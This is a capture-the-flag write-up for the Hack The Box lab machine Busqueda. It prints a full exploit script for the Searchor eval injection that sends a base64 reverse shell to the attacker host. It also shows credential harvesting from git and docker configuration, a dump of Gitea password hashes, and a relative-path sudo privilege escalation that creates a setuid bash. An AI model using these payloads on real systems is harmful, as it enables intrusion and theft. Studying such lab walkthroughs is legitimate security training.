Skip to main content
HTB: Busqueda
  1. Posts/

HTB: Busqueda

Table of Contents

Introduction
#

Busqueda starts with a website that creates search links to various other sites based on user input. It is using the Python Searchor tool with a vulnerability - an unsafe eval that can be used to get code execution. On the machine, the user can run a Python script with sudo, but I do not have read permissions to see the script. I will find it in Gitea, and use that to run arbitrary code as root.

nmap
#

nmap finds two open TCP ports, 22 (SSH) and 80 (HTTP):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.228.217
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
|   256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The title is searcher.htb, add it to /etc/hosts

Web - TCP 80
#

The website is kind of search engine that generates URLs for search on various sites:

Web

When I search for something I get URL for search on selected site:

Search1
Search2

At the bottom there are some backend information, it is running on Flask and Searchor 2.4.0:

backend

I will come back to this later.

Subdomain enum
#

I have the domain name, so I will try to find any available subdomains of seacher.htb:

└─$ ffuf -w ~/Tools/directory-list-custom.txt:FUZZ -u http://searcher.htb/ -H 'Host: FUZZ.searcher.htb' -fw 18

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://searcher.htb/
 :: Wordlist         : FUZZ: /home/kali/Tools/directory-list-custom.txt
 :: Header           : Host: FUZZ.searcher.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 18
________________________________________________

gitea                   [Status: 200, Size: 13237, Words: 1009, Lines: 268, Duration: 51ms]

It returns with one hit, gitea, add gitea.searchor.htb to /etc/hosts and check it:

Gitea

I do not have any credentials yet, so I will have to try something else.

Shell as svc
#

Looking back at Searchor 2.4.0, quick search for Searchor 2.4.0 cve points me towards CVE-2023-43364, Advisory:

main.py in Searchor before 2.4.2 uses eval on CLI input, which may cause unexpected code execution.

An issue in Arjun Sharda’s Searchor before version v.2.4.2 allows an attacker to execute arbitrary code via a crafted script to the eval() function in Searchor’s src/searchor/main.py file, affecting the search feature in Searchor’s CLI.

Exploit description
#

From this PoC I get the script below:

└─$ cat exploit.sh                                       
#!/bin/bash -

default_port="9001"
port="${3:-$default_port}"
rev_shell_b64=$(echo -ne "bash  -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"
plus="+"

echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"

if [ -z "${evil_cmd##*$plus*}" ]
then
    evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')
fi

if [ $# -ne 0 ]
then
    echo "[*] Input target is $1"
    echo "[*] Input attacker is $2:${port}"
    echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"
    curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null
else 
    echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example: 

./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]"
fi

The script exploits a command injection vulnerability to establish a reverse shell connection from a vulnerable target server back to an attacker’s machine.

1. Configuration (lines 3-5)

  • Sets default port to 9001
  • Creates a base64-encoded reverse shell payload that connects back to the attacker’s IP

2. Payload construction (line 6)

  • Wraps the reverse shell in Python using __import__('os').system()
  • This exploits a code injection vulnerability in Searchor’s search functionality
  • The payload decodes and executes the base64 reverse shell command

3. URL encoding (lines 10-14)

  • Checks if the payload contains plus signs
  • Replaces them with %2B (URL-encoded) to avoid issues in HTTP requests

4. Execution (lines 16-25)

  • Validates that target and attacker IPs are provided
  • Sends a POST request to the target’s /search endpoint
  • Injects the malicious payload in the query parameter
  • If successful, the target connects back to the attacker, giving them shell access

Now just fill in the IPs and port and run it:

└─$ ./exploit.sh searcher.htb 10.10.15.47 4444
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is searcher.htb
[*] Input attacker is 10.10.15.47:4444
[*] Run the Reverse Shell... Press Ctrl+C after successful connection

After few seconds I get a reverse shell on the awaiting listener:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.47] from (UNKNOWN) [10.129.228.217] 49850
bash: cannot set terminal process group (1548): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ 

Shell as root
#

Enumeration
#

There is not much in svc’s home directory, only interesting file is .gitconfig:

svc@busqueda:~$ ls -la
ls -la
total 36
drwxr-x--- 4 svc  svc  4096 Apr  3  2023 .
drwxr-xr-x 3 root root 4096 Dec 22  2022 ..
lrwxrwxrwx 1 root root    9 Feb 20  2023 .bash_history -> /dev/null
-rw-r--r-- 1 svc  svc   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 svc  svc  3771 Jan  6  2022 .bashrc
drwx------ 2 svc  svc  4096 Feb 28  2023 .cache
-rw-rw-r-- 1 svc  svc    76 Apr  3  2023 .gitconfig
drwxrwxr-x 5 svc  svc  4096 Jun 15  2022 .local
lrwxrwxrwx 1 root root    9 Apr  3  2023 .mysql_history -> /dev/null
-rw-r--r-- 1 svc  svc   807 Jan  6  2022 .profile
lrwxrwxrwx 1 root root    9 Feb 20  2023 .searchor-history.json -> /dev/null
-rw-r----- 1 root svc    33 Jan  4 09:05 user.txt
svc@busqueda:~$ cat .gitconfig
cat .gitconfig
[user]
        email = cody@searcher.htb
        name = cody
[core]
        hooksPath = no-hooks

It gives me possible username cody

Web files
#

Code for the website is in /var/www/app:

svc@busqueda:/var/www/app$ ls -la
ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 .
drwxr-xr-x 4 root     root     4096 Apr  4  2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Jan  4 09:05 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates
svc@busqueda:/var/www/app$ cd .git
cd .git
svc@busqueda:/var/www/app/.git$ ls -la
ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Jan  4 09:05 .
drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 ..
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 branches
-rw-r--r-- 1 www-data www-data   15 Dec  1  2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data  294 Dec  1  2022 config
-rw-r--r-- 1 www-data www-data   73 Dec  1  2022 description
-rw-r--r-- 1 www-data www-data   21 Dec  1  2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 hooks
-rw-r--r-- 1 root     root      259 Apr  3  2023 index
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec  1  2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec  1  2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec  1  2022 refs
svc@busqueda:/var/www/app/.git$ cat config
cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

It has a config file with credentials for gitea: cody:jh1usoih2bkjaspwe92

It also works for ssh

Gitea
#

Returning back to Gitea, I now have credentials I could use to sign in:

Gitea2

It contains the code for the site, but nothing new.

Gitea3

Sudo
#

Continuing with enumeration I check sudo -l:

svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

I can run a python script, but can not read it:

svc@busqueda:~$ cat /opt/scripts/system-checkup.py
cat: /opt/scripts/system-checkup.py: Permission denied

svc@busqueda:~$ ls -la /opt/scripts/system-checkup.py
-rwx--x--x 1 root root 1903 Dec 24  2022 /opt/scripts/system-checkup.py

The * at the end represents expected argument:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py
Sorry, user svc is not allowed to execute '/usr/bin/python3 /opt/scripts/system-checkup.py' as root on busqueda.

I can put there anything at it returns me some usage information:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py test_param
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Going one by one, docker-ps returns something that looks suspiciously like docker ps output:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS          PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   2 years ago   Up 50 minutes   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   2 years ago   Up 50 minutes   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

Next, the docker-inspect requires two parameters:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

From the docker docs and formatting I get expected format of format and from docker-ps names of the available containers:

sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq .

It return A LOT, the only important being this:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq .
{
  "Id": "960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb",
  "Created": "2023-01-06T17:26:54.457090149Z",
  "Path": "/usr/bin/entrypoint",
  "Args": [
    "/bin/s6-svscan",
    "/etc/s6"
  ],

  <SNIP>

  "Env": [
        "USER_UID=115",
        "USER_GID=121",
        "GITEA__database__DB_TYPE=mysql",
        "GITEA__database__HOST=db:3306",
        "GITEA__database__NAME=gitea",
        "GITEA__database__USER=gitea",
        "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        "USER=git",
        "GITEA_CUSTOM=/data/gitea"
      ],

  <SNIP>
}

There is info about database and a password.

Last command, full-checkup returns unspecified error:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

Database
#

Next, to check the database I need to find it first.

The second docker container mysql_db looks promising. I can run the docker-inspect on it using THIS format:

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $INSTANCE_ID
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .NetworkSettings.Networks}}' mysql_db | jq .
{
  "docker_gitea": {
    "IPAMConfig": null,
    "Links": null,
    "Aliases": [
      "f84a6b33fb5a",
      "db"
    ],
    "NetworkID": "cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227",
    "EndpointID": "8219708fc1d5c21d95e7afc0bdbdeff6e2e3d9968f4be9306bf859a89cdabf9d",
    "Gateway": "172.19.0.1",
    "IPAddress": "172.19.0.3",
    "IPPrefixLen": 16,
    "IPv6Gateway": "",
    "GlobalIPv6Address": "",
    "GlobalIPv6PrefixLen": 0,
    "MacAddress": "02:42:ac:13:00:03",
    "DriverOpts": null
}

From this I get a database IP: 172.19.0.3.

Now, I can connect and get passwords:

svc@busqueda:~$ mysql -h 172.19.0.3 -u gitea -pyuiu1hoiu4i5ho1uh
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 196
Server version: 8.0.31 MySQL Community Server - GPL

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| gitea              |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)

mysql> use gitea;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| gitea              |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)

mysql> show tables;
+---------------------------+
| Tables_in_gitea           |
+---------------------------+
<SNIP>
| user                      |
<SNIP>
+---------------------------+
91 rows in set (0.01 sec)

mysql> select name, email, passwd, passwd_hash_algo from user;
+---------------+----------------------------------+------------------------------------------------------------------------------------------------------+------------------+
| name          | email                            | passwd                                                                                               | passwd_hash_algo |
+---------------+----------------------------------+------------------------------------------------------------------------------------------------------+------------------+
| administrator | administrator@gitea.searcher.htb | ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2 | pbkdf2           |
| cody          | cody@gitea.searcher.htb          | b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e | pbkdf2           |
+---------------+----------------------------------+------------------------------------------------------------------------------------------------------+------------------+
2 rows in set (0.01 sec)

I attempted to crack them, but it was not needed in the end.

system-checkup
#

The Gitea administrator account uses the same password as the database:

Gitea4

Administrator have new repository, scripts:

Gitea5

And there is system-checkup.py inside:

Gitea6
Gitea7
#!/bin/bash
import subprocess
import sys

actions = ['full-checkup', 'docker-ps','docker-inspect']

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output


def process_action(action):
    if action == 'docker-inspect':
        try:
            _format = sys.argv[2]
            if len(_format) == 0:
                print(f"Format can't be empty")
                exit(1)
            container = sys.argv[3]
            arg_list = ['docker', 'inspect', '--format', _format, container]
            print(run_command(arg_list)) 
        
        except IndexError:
            print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
            exit(1)
    
        except Exception as e:
            print('Something went wrong')
            exit(1)
    
    elif action == 'docker-ps':
        try:
            arg_list = ['docker', 'ps']
            print(run_command(arg_list)) 
        
        except:
            print('Something went wrong')
            exit(1)

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
            

if __name__ == '__main__':

    try:
        action = sys.argv[1]
        if action in actions:
            process_action(action)
        else:
            raise IndexError

    except IndexError:
        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
        print('')
        print('     docker-ps     : List running docker containers')
        print('     docker-inspect : Inpect a certain docker container')
        print('     full-checkup  : Run a full system checkup')
        print('')
        exit(1)

Looking at the full-checkup section:

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)

It is attemptiong to run full-checkup.sh, importantly, it is looking for the file in the current directory. It failed before because that file did not exist there.

Exploit
#

I can create a full-checkup.sh file with anything I want and attempt to run it:

svc@busqueda:/dev/shm$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/tester\nchmod 4777 /tmp/tester' > full-checkup.sh
svc@busqueda:/dev/shm$ cat full-checkup.sh 
#!/bin/bash

cp /bin/bash /tmp/tester
chmod 4777 /tmp/tester
svc@busqueda:/dev/shm$ chmod +x full-checkup.sh 
svc@busqueda:/dev/shm$ sudo python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!

It ran without any issues … it should have created a /tmp/tester that would give me root access, check it:

svc@busqueda:/dev/shm$ ls -la /tmp
total 1428
drwxrwxrwt 16 root root    4096 Jan  4 10:25 .
drwxr-xr-x 19 root root    4096 Mar  1  2023 ..
<SNIP>
-rwsrwxrwx  1 root root 1396520 Jan  4 10:25 tester

It worked, the tester is owned by root

When I run it I am root:

svc@busqueda:/dev/shm$ /tmp/tester -p
tester-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root) groups=1000(svc)
tester-5.1# cat /rrot/root.txt
cat: /rrot/root.txt: No such file or directory
tester-5.1# cat /root/root.txt
ef46b282.........9f249d2976
tester-5.1# 

And that is it!

Author
~